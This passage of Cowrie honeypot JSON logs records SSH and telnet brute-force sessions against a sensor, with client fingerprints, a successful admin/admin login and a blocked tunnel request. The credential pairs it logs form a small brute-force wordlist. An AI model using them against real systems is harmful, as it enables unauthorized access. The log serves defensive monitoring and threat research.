-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:14.976533Z","src_ip":"176.65.139.95","session":"3492be4c0327","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"123456","message":"login attempt [devops/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:15.373287Z","src_ip":"176.65.139.95","session":"3492be4c0327","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:16.458015Z","src_ip":"176.65.139.95","session":"3492be4c0327","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00583100318909,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:20.845046Z","src_ip":"103.59.178.227","session":"a0eaf4230b60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":38934,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a5c4a0d5183","protocol":"ssh","message":"New connection: 176.65.139.95:38934 (159.203.135.109:22) [session: 9a5c4a0d5183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:21.504041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:21.508569Z","src_ip":"176.65.139.95","session":"9a5c4a0d5183","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:21.590109Z","src_ip":"176.65.139.95","session":"9a5c4a0d5183","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"123456","message":"login attempt [vncuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:21.861486Z","src_ip":"176.65.139.95","session":"9a5c4a0d5183","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:22.967721Z","src_ip":"176.65.139.95","session":"9a5c4a0d5183","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":38950,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a4590b4e7f7","protocol":"ssh","message":"New connection: 176.65.139.95:38950 (159.203.135.109:22) [session: 2a4590b4e7f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:27.948932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:27.984642Z","src_ip":"176.65.139.95","session":"2a4590b4e7f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:28.081731Z","src_ip":"176.65.139.95","session":"2a4590b4e7f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd","message":"login attempt [root/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:28.748819Z","src_ip":"176.65.139.95","session":"2a4590b4e7f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:29.848667Z","src_ip":"176.65.139.95","session":"2a4590b4e7f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":54634,"dst_ip":"159.203.135.109","dst_port":22,"session":"7daf32c9710e","protocol":"ssh","message":"New connection: 176.65.139.95:54634 (159.203.135.109:22) [session: 7daf32c9710e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:34.562121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:34.566713Z","src_ip":"176.65.139.95","session":"7daf32c9710e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:34.690276Z","src_ip":"176.65.139.95","session":"7daf32c9710e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"ec2-user","message":"login attempt [ec2-user/ec2-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:35.295882Z","src_ip":"176.65.139.95","session":"7daf32c9710e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:36.387896Z","src_ip":"176.65.139.95","session":"7daf32c9710e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":42454,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b290ddf9f3b","protocol":"ssh","message":"New connection: 176.65.139.95:42454 (159.203.135.109:22) [session: 5b290ddf9f3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:41.436411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:41.440952Z","src_ip":"176.65.139.95","session":"5b290ddf9f3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:41.522797Z","src_ip":"176.65.139.95","session":"5b290ddf9f3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible","message":"login attempt [ansible/ansible] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:41.804014Z","src_ip":"176.65.139.95","session":"5b290ddf9f3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":5370,"dst_ip":"10.17.0.5","dst_port":22,"session":"f60e62cd42f5","protocol":"ssh","message":"New connection: 87.251.64.176:5370 (10.17.0.5:22) [session: f60e62cd42f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:42.475660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:42.480350Z","src_ip":"87.251.64.176","session":"f60e62cd42f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:42.576578Z","src_ip":"87.251.64.176","session":"f60e62cd42f5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:42.863829Z","src_ip":"87.251.64.176","session":"f60e62cd42f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:42.945815Z","src_ip":"176.65.139.95","session":"5b290ddf9f3b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:42.961896Z","session":"f60e62cd42f5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:43.058957Z","src_ip":"87.251.64.176","session":"f60e62cd42f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:43.168131Z","src_ip":"87.251.64.176","session":"f60e62cd42f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":42462,"dst_ip":"159.203.135.109","dst_port":22,"session":"878dabe16577","protocol":"ssh","message":"New connection: 176.65.139.95:42462 (159.203.135.109:22) [session: 878dabe16577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:47.997660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:48.002064Z","src_ip":"176.65.139.95","session":"878dabe16577","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:48.084078Z","src_ip":"176.65.139.95","session":"878dabe16577","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres123","message":"login attempt [postgres/postgres123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:48.541545Z","src_ip":"176.65.139.95","session":"878dabe16577","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:49.869963Z","src_ip":"176.65.139.95","session":"878dabe16577","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51524,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5e02d91eece","protocol":"ssh","message":"New connection: 159.203.92.129:51524 (159.203.135.109:22) [session: b5e02d91eece]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:50.925416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:51.005340Z","src_ip":"159.203.92.129","session":"b5e02d91eece","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:51.008888Z","src_ip":"159.203.92.129","session":"b5e02d91eece","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Houjian","password":"Houjian123","message":"login attempt [Houjian/Houjian123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:51.321531Z","src_ip":"159.203.92.129","session":"b5e02d91eece","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:52.331069Z","src_ip":"159.203.92.129","session":"b5e02d91eece","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":54764,"dst_ip":"159.203.135.109","dst_port":22,"session":"35086c9bc8b7","protocol":"ssh","message":"New connection: 176.65.139.95:54764 (159.203.135.109:22) [session: 35086c9bc8b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:54.340386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:54.345480Z","src_ip":"176.65.139.95","session":"35086c9bc8b7","protocol":"ssh"}
